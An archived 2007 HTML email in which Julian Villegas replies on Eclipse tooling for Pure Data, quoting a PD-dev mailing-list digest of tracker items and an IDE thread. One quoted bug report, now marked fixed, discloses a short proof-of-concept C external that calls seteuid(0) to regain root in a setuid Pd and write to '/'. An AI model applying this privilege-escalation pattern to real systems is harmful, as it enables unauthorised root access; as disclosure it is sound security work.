<html><head><style type="text/css"><!-- DIV {margin:0px;} --></style></head><body><div style="font-family:times new roman, new york, times, serif;font-size:12pt">Hi,<br>several months ago I asked the same question and someone told me that since the externals are typically monolithic applications there was no need for Eclipse. I don't know how to create a project template that can be useful for developing externals and the PD-core itself, but I'd be a happy user of it...<br><div>&nbsp;</div><a rel="nofollow" target="_blank" href="http://www.julovi.net">Julian Villegas</a><br><br>Me pregunto de un modo pensativo<br>Que significa ser Colombiano?<br>No se le respondi. Es un acto de fe<br>                                        JLB.<div style="font-family: times new roman,new york,times,serif; font-size: 12pt;"><br><br><div style="font-family: times new roman,new york,times,serif; font-size: 12pt;">----- Original Message ----<br>From: "pd-dev-request@iem.at"
 &lt;pd-dev-request@iem.at&gt;<br>To: pd-dev@iem.at<br>Sent: Tuesday, November 20, 2007 8:00:02 PM<br>Subject: PD-dev Digest, Vol 32, Issue 40<br><br>
Send PD-dev mailing list submissions to<br>&nbsp;&nbsp;&nbsp; <a ymailto="mailto:pd-dev@iem.at" href="mailto:pd-dev@iem.at">pd-dev@iem.at</a><br><br>To subscribe or unsubscribe via the World Wide Web, visit<br>&nbsp;&nbsp;&nbsp; <a href="http://lists.puredata.info/listinfo/pd-dev" target="_blank">http://lists.puredata.info/listinfo/pd-dev</a><br>or, via email, send a message with subject or body 'help' to<br>&nbsp;&nbsp;&nbsp; <a ymailto="mailto:pd-dev-request@iem.at" href="mailto:pd-dev-request@iem.at">pd-dev-request@iem.at</a><br><br>You can reach the person managing the list at<br>&nbsp;&nbsp;&nbsp; <a ymailto="mailto:pd-dev-owner@iem.at" href="mailto:pd-dev-owner@iem.at">pd-dev-owner@iem.at</a><br><br>When replying, please edit your Subject line so it is more specific<br>than "Re: Contents of PD-dev digest..."<br><br><br>Today's Topics:<br><br>&nbsp;  1. [ pure-data-Patches-1552482 ] update to [cnv] help to<br>&nbsp; &nbsp; &nbsp; document arguments
 (<a target="_blank" href="http://SourceForge.net">SourceForge.net</a>)<br>&nbsp;  2. eclipse + pd (Hans-Christoph Steiner)<br>&nbsp;  3. [ pure-data-Bugs-1825839 ] pd-extended autobuild 0.40.2 ~&gt;<br>&nbsp; &nbsp; &nbsp; (zexy) (<a target="_blank" href="http://SourceForge.net">SourceForge.net</a>)<br>&nbsp;  4. [ pure-data-Bugs-1602345 ] security vulnerability,&nbsp;&nbsp;&nbsp; giving<br>&nbsp; &nbsp; &nbsp; root access (<a target="_blank" href="http://SourceForge.net">SourceForge.net</a>)<br>&nbsp;  5. Re: eclipse + pd (<a ymailto="mailto:mescalinum@gmail.com" href="mailto:mescalinum@gmail.com">mescalinum@gmail.com</a>)<br><br><br>----------------------------------------------------------------------<br><br>Message: 1<br>Date: Mon, 19 Nov 2007 08:11:53 -0800<br>From: "<a target="_blank" href="http://SourceForge.net">SourceForge.net</a>" &lt;<a ymailto="mailto:noreply@sourceforge.net"
 href="mailto:noreply@sourceforge.net">noreply@sourceforge.net</a>&gt;<br>Subject: [PD-dev] [ pure-data-Patches-1552482 ] update to [cnv] help<br>&nbsp;&nbsp;&nbsp; to&nbsp;&nbsp;&nbsp; document arguments<br>To: <a ymailto="mailto:noreply@sourceforge.net" href="mailto:noreply@sourceforge.net">noreply@sourceforge.net</a><br>Message-ID: &lt;<a ymailto="mailto:E1Iu9E1-0002E3-Bh@sc8-sf-web24.sourceforge.net" href="mailto:E1Iu9E1-0002E3-Bh@sc8-sf-web24.sourceforge.net">E1Iu9E1-0002E3-Bh@sc8-sf-web24.sourceforge.net</a>&gt;<br>Content-Type: text/plain; charset="UTF-8"<br><br>Patches item #1552482, was opened at 2006-09-05 01:48<br>Message generated for change (Comment added) made by lukeiannini<br>You can respond by visiting: <br><a href="https://sourceforge.net/tracker/?func=detail&amp;atid=478072&amp;aid=1552482&amp;group_id=55736"
 target="_blank">https://sourceforge.net/tracker/?func=detail&amp;atid=478072&amp;aid=1552482&amp;group_id=55736</a><br><br>Please note that this message will contain a full copy of the comment
 thread,<br>including the initial issue submission, for this request,<br>not just the latest update.<br>Category: puredata<br>Group: bugfix<br>Status: Open<br>Resolution: None<br>Priority: 5<br>Private: No<br>Submitted By: Luke Iannini (lukeiannini)<br>Assigned to: Miller Puckette (millerpuckette)<br>Summary: update to [cnv] help to document arguments<br><br>Initial Comment:<br>The canvas object seems to take arguments happily enough - while I <br>could not find this documented, I discovered what went where by trying <br>"cnv a b c d e f g h..." and checking where they ended up in the <br>properties.&nbsp; This worked, but while the arguments appear in the <br>properties, they do not actually "show up" in the canvas until the
 property <br>window is closed again.<br><br>I've attached a patch that demonstrates this behavior.<br><br>(I was hoping to build a "canvas generator" that would save me the <br>trouble of opening property windows to set dimensions or a recieve <br>symbol that could be used with Joao Miguel Pais's "gui-edit"
 abstraction.&nbsp; <br>But the receive symbol does not start functioning until the props are <br>opened, then closed.)<br><br>Also, the first 3 arguments do not seem to do anything (they'd
 logically <br>control "selectable size" and the x and y dimensions of the canvas).<br><br>----------------------------------------------------------------------<br><br>&gt;Comment By: Luke Iannini (lukeiannini)<br>Date: 2007-11-19 09:11<br><br>Message:<br>Logged In: YES <br>user_id=1541432<br>Originator: YES<br><br>Sorry I never did this, here's the file.<br>File Added: my_canvas-help.pd<br><br>----------------------------------------------------------------------<br><br>Comment By: Hans-Christoph Steiner (eighthave)<br>Date: 2007-06-14 08:20<br><br>Message:<br>Logged In: YES <br>user_id=27104<br>Originator: NO<br><br>this patch does not apply cleanly to anything that I tried.&nbsp; Please
 submit<br>the original pd help patch rather than the diff/patch file.&nbsp; diffs
 don't<br>really work with .pd files.<br><br>----------------------------------------------------------------------<br><br>Comment By: Luke Iannini (lukeiannini)<br>Date: 2006-09-20 02:45<br><br>Message:<br>Logged In: YES <br>user_id=1541432<br><br>Hello Hans,<br>Done : ). But I can't effect the bug&gt;patch change.<br><br>----------------------------------------------------------------------<br><br>Comment By: Hans-Christoph Steiner (eighthave)<br>Date: 2006-09-15 17:54<br><br>Message:<br>Logged In: YES <br>user_id=27104<br><br><br>It would be awesome then if you updated the help file and<br>submitted that as a patch to the tracker.&nbsp; Then the rest of<br>us can benefit from your explorations.<br><br>You can attach an updated help file to this tracker, then<br>change it from a "Bug" to a "Patch".<br><br>----------------------------------------------------------------------<br><br>Comment By: Luke Iannini (lukeiannini)<br>Date: 2006-09-05
 03:12<br><br>Message:<br>Logged In: YES <br>user_id=1541432<br><br>Sorry about that, thanks!<br><br>----------------------------------------------------------------------<br><br>Comment By: IOhannes m zm?g (zmoelnig)<br>Date: 2006-09-05 03:03<br><br>Message:<br>Logged In: YES <br>user_id=564396<br><br>this is, because you are using wrong arguments and not<br>because of a bug in [cnv].<br>attached is a working patch (which uses more arguments than<br>the original one)<br><br>there are 4 possibilities to "reverse engineer" the<br>arguments of an object:<br>1) read the help (won't help you with [cnv])<br>2) read the pd-list (ask! chances are high that somebody<br>already solved your problem)<br>3) read the patch (save a patch with the object as you would<br>like it; open the patch with a text editor; look which<br>arguments are used; understand what the arguments mean)<br>4) read the source<br><br>esp. #3 is a very simple and efficient and good way
 to<br>discover the arguments of an object (the object usually<br>knows best which arguments it needs)<br><br>----------------------------------------------------------------------<br><br>Comment By: Luke Iannini (lukeiannini)<br>Date: 2006-09-05 01:50<br><br>Message:<br>Logged In: YES <br>user_id=1541432<br><br>This is on Pd-x-39.2t4 (OS X.4.7 PPC)<br><br>----------------------------------------------------------------------<br><br>You can respond by visiting: <br><a href="https://sourceforge.net/tracker/?func=detail&amp;atid=478072&amp;aid=1552482&amp;group_id=55736" target="_blank">https://sourceforge.net/tracker/?func=detail&amp;atid=478072&amp;aid=1552482&amp;group_id=55736</a><br><br><br><br>------------------------------<br><br>Message: 2<br>Date: Mon, 19 Nov 2007 20:00:40 -0500<br>From: Hans-Christoph Steiner &lt;<a ymailto="mailto:hans@eds.org" href="mailto:hans@eds.org">hans@eds.org</a>&gt;<br>Subject: [PD-dev] eclipse + pd<br>To: pd-dev List
 &lt;<a ymailto="mailto:pd-dev@iem.at" href="mailto:pd-dev@iem.at">pd-dev@iem.at</a>&gt;<br>Message-ID: &lt;<a ymailto="mailto:A30F714A-11BE-49C8-89B7-DB8546156231@eds.org" href="mailto:A30F714A-11BE-49C8-89B7-DB8546156231@eds.org">A30F714A-11BE-49C8-89B7-DB8546156231@eds.org</a>&gt;<br>Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed<br><br><br>Hey all,<br><br>I am thinking it's about time that we have a standard profile in a&nbsp; <br>full featured IDE for developing Pd.&nbsp; I am thinking that Eclipse is&nbsp; <br>the best bet since it runs everywhere, it's free, and it already has&nbsp; <br>C/C++ and Tcl modes.<br><br>Has anyone worked with Pd+Eclipse at all?&nbsp; Anyone want to help make a&nbsp; <br>Pd project profile?&nbsp; I think the key idea would be to make an Eclipse&nbsp; <br>project to allow people to develop their externals wherever they&nbsp; <br>want, but make sure that the code from that project can easily
 drop&nbsp; <br>into the Pd-extended build system.<br><br>.hc<br><br><br>------------------------------------------------------------------------ <br>----<br><br>Terrorism is not an enemy.&nbsp; It cannot be defeated.&nbsp; It's a tactic.&nbsp;  <br>It's about as sensible to say we declare war on night attacks and&nbsp; <br>expect we're going to win that war.&nbsp; We're not going to win the war&nbsp; <br>on terrorism.&nbsp; &nbsp; &nbsp; &nbsp; - retired U.S. Army general, William Odom<br><br><br><br><br><br>------------------------------<br><br>Message: 3<br>Date: Mon, 19 Nov 2007 19:20:04 -0800<br>From: "<a target="_blank" href="http://SourceForge.net">SourceForge.net</a>" &lt;<a ymailto="mailto:noreply@sourceforge.net" href="mailto:noreply@sourceforge.net">noreply@sourceforge.net</a>&gt;<br>Subject: [PD-dev] [ pure-data-Bugs-1825839 ] pd-extended autobuild<br>&nbsp;&nbsp;&nbsp; 0.40.2 ~&gt;&nbsp;&nbsp;&nbsp; (zexy)<br>To: <a
 ymailto="mailto:noreply@sourceforge.net" href="mailto:noreply@sourceforge.net">noreply@sourceforge.net</a><br>Message-ID: &lt;<a ymailto="mailto:E1IuJee-0004t0-An@sc8-sf-glue1.sourceforge.net" href="mailto:E1IuJee-0004t0-An@sc8-sf-glue1.sourceforge.net">E1IuJee-0004t0-An@sc8-sf-glue1.sourceforge.net</a>&gt;<br>Content-Type: text/plain; charset="UTF-8"<br><br>Bugs item #1825839, was opened at 2007-11-04 20:24<br>Message generated for change (Comment added) made by sf-robot<br>You can respond by visiting: <br><a href="https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1825839&amp;group_id=55736" target="_blank">https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1825839&amp;group_id=55736</a><br><br>Please note that this message will contain a full copy of the comment
 thread,<br>including the initial issue submission, for this request,<br>not just the latest update.<br>Category: externals<br>Group: v0.40.2<br>&gt;Status: Closed<br>Resolution: Duplicate<br>Priority: 5<br>Private: No<br>Submitted By: wipinmtl (wipinmtl)<br>Assigned to: Nobody/Anonymous (nobody)<br>Summary: pd-extended autobuild 0.40.2 ~&gt; (zexy)<br><br>Initial Comment:<br>~&gt; 38<br>... couldn't create<br><br>in pd-extended autobuild 0.40.2 (for gutsy). should be part of zexy.<br><br>----------------------------------------------------------------------<br><br>&gt;Comment By: SourceForge Robot (sf-robot)<br>Date: 2007-11-19 19:20<br><br>Message:<br>Logged In: YES <br>user_id=1312539<br>Originator: NO<br><br>This Tracker item was closed automatically by the system. It was<br>previously set to a Pending status, and the original submitter<br>did not respond within 14 days (the time period specified by<br>the administrator of this
 Tracker).<br><br>----------------------------------------------------------------------<br><br>Comment By: IOhannes m zm?g (zmoelnig)<br>Date: 2007-11-04 23:51<br><br>Message:<br>Logged In: YES <br>user_id=564396<br>Originator: NO<br><br>the object is named [&gt;~] instead of [~&gt;].<br><br>apart from that it seems to be a duplication of bug-#1702883.<br><br><br>if the problem persists with the correct object name, please run Pd
 with<br>"-verbose" and tell us the exact error-lines (preferably in
 bug#1702883)<br><br><br>----------------------------------------------------------------------<br><br>You can respond by visiting: <br><a href="https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1825839&amp;group_id=55736" target="_blank">https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1825839&amp;group_id=55736</a><br><br><br><br>------------------------------<br><br>Message: 4<br>Date: Mon, 19 Nov 2007 19:20:07 -0800<br>From: "<a target="_blank" href="http://SourceForge.net">SourceForge.net</a>" &lt;<a ymailto="mailto:noreply@sourceforge.net" href="mailto:noreply@sourceforge.net">noreply@sourceforge.net</a>&gt;<br>Subject: [PD-dev] [ pure-data-Bugs-1602345 ] security vulnerability,<br>&nbsp;&nbsp;&nbsp; giving root access<br>To: <a ymailto="mailto:noreply@sourceforge.net" href="mailto:noreply@sourceforge.net">noreply@sourceforge.net</a><br>Message-ID: &lt;<a
 ymailto="mailto:E1IuJeh-0004yX-9l@sc8-sf-glue1.sourceforge.net" href="mailto:E1IuJeh-0004yX-9l@sc8-sf-glue1.sourceforge.net">E1IuJeh-0004yX-9l@sc8-sf-glue1.sourceforge.net</a>&gt;<br>Content-Type: text/plain; charset="UTF-8"<br><br>Bugs item #1602345, was opened at 2006-11-24 07:48<br>Message generated for change (Comment added) made by sf-robot<br>You can respond by visiting: <br><a href="https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1602345&amp;group_id=55736" target="_blank">https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1602345&amp;group_id=55736</a><br><br>Please note that this message will contain a full copy of the comment
 thread,<br>including the initial issue submission, for this request,<br>not just the latest update.<br>Category: puredata<br>Group: None<br>&gt;Status: Closed<br>Resolution: Fixed<br>Priority: 5<br>Private: No<br>Submitted By: Mathieu Bouchard (matju)<br>Assigned to: Miller Puckette (millerpuckette)<br>Summary: security vulnerability, giving root access<br><br>Initial Comment:<br>first configure with --enable-setuid or just chmod 4755 pd &amp;&amp; chown
 root pd, which has the same effect.<br><br>then load this external called crack.c by making a [crack] box or -lib
 crack:<br><br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>void crack_setup (void) {<br>&nbsp; seteuid(0);<br>&nbsp; fopen("/hax0r","w");<br>}<br><br>An empty file called "hax0r" appears in protected folder "/" even
 though privileges have been dropped by pd upon startup.<br><br><br>----------------------------------------------------------------------<br><br>&gt;Comment By: SourceForge Robot (sf-robot)<br>Date: 2007-11-19 19:20<br><br>Message:<br>Logged In: YES <br>user_id=1312539<br>Originator: NO<br><br>This Tracker item was closed automatically by the system. It was<br>previously set to a Pending status, and the original submitter<br>did not respond within 14 days (the time period specified by<br>the administrator of this Tracker).<br><br>----------------------------------------------------------------------<br><br>Comment By: Hans-Christoph Steiner (eighthave)<br>Date: 2007-11-05 17:01<br><br>Message:<br>Logged In: YES <br>user_id=27104<br>Originator: NO<br><br><br>I am pretty sure this the bug fixed by Miller's 0.40.3 and 0.39.3<br>releases.&nbsp; Please adjust if I am
 wrong.<br><br>----------------------------------------------------------------------<br><br>You can respond by visiting: <br><a href="https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1602345&amp;group_id=55736" target="_blank">https://sourceforge.net/tracker/?func=detail&amp;atid=478070&amp;aid=1602345&amp;group_id=55736</a><br><br><br><br>------------------------------<br><br>Message: 5<br>Date: Tue, 20 Nov 2007 10:09:23 +0100<br>From: <a ymailto="mailto:mescalinum@gmail.com" href="mailto:mescalinum@gmail.com">mescalinum@gmail.com</a><br>Subject: Re: [PD-dev] eclipse + pd<br>To: "Hans-Christoph Steiner" &lt;<a ymailto="mailto:hans@eds.org" href="mailto:hans@eds.org">hans@eds.org</a>&gt;<br>Cc: pd-dev List &lt;<a ymailto="mailto:pd-dev@iem.at" href="mailto:pd-dev@iem.at">pd-dev@iem.at</a>&gt;<br>Message-ID:<br>&nbsp;&nbsp;&nbsp; &lt;<a ymailto="mailto:673c07010711200109w551cfb52k7a5b4f3ccc0e05a0@mail.gmail.com"
 href="mailto:673c07010711200109w551cfb52k7a5b4f3ccc0e05a0@mail.gmail.com">673c07010711200109w551cfb52k7a5b4f3ccc0e05a0@mail.gmail.com</a>&gt;<br>Content-Type: text/plain; charset=ISO-8859-1<br><br>&gt; I am thinking it's about time that we have a standard profile in a<br>&gt; full featured IDE for developing Pd.&nbsp; I am thinking that Eclipse is<br>&gt; the best bet since it runs everywhere, it's free, and it already has<br>&gt; C/C++ and Tcl modes.<br>&gt;<br>&gt; Has anyone worked with Pd+Eclipse at all?&nbsp; Anyone want to help make a<br>&gt; Pd project profile?&nbsp; I think the key idea would be to make an Eclipse<br>&gt; project to allow people to develop their externals wherever they<br>&gt; want, but make sure that the code from that project can easily drop<br>&gt; into the Pd-extended build system.<br><br>I like the idea!!<br>but I started to look at Eclipse very recently, still I am a newbie.<br>but I've seen IDEs for almost everything
 running in Eclipse (I'll<br>start to look at the Graphical Editing Framework) its plugin API looks<br>very powerful<br><br>also here at work I see Eclipse is a standard de facto.<br><br>hope more devs get interested in this.<br>-- <br>Federico Ferri<br><br><br><br>------------------------------<br><br>_______________________________________________<br>PD-dev mailing list<br><a ymailto="mailto:PD-dev@iem.at" href="mailto:PD-dev@iem.at">PD-dev@iem.at</a><br><a href="http://lists.puredata.info/listinfo/pd-dev" target="_blank">http://lists.puredata.info/listinfo/pd-dev</a><br><br><br>End of PD-dev Digest, Vol 32, Issue 40<br>**************************************<br></div><br></div></div><br>
      <hr size=1>Be a better pen pal. 
Text or chat with friends inside Yahoo! Mail. <a href="http://us.rd.yahoo.com/evt=51732/*http://overview.mail.yahoo.com/">See how.</a></body></html>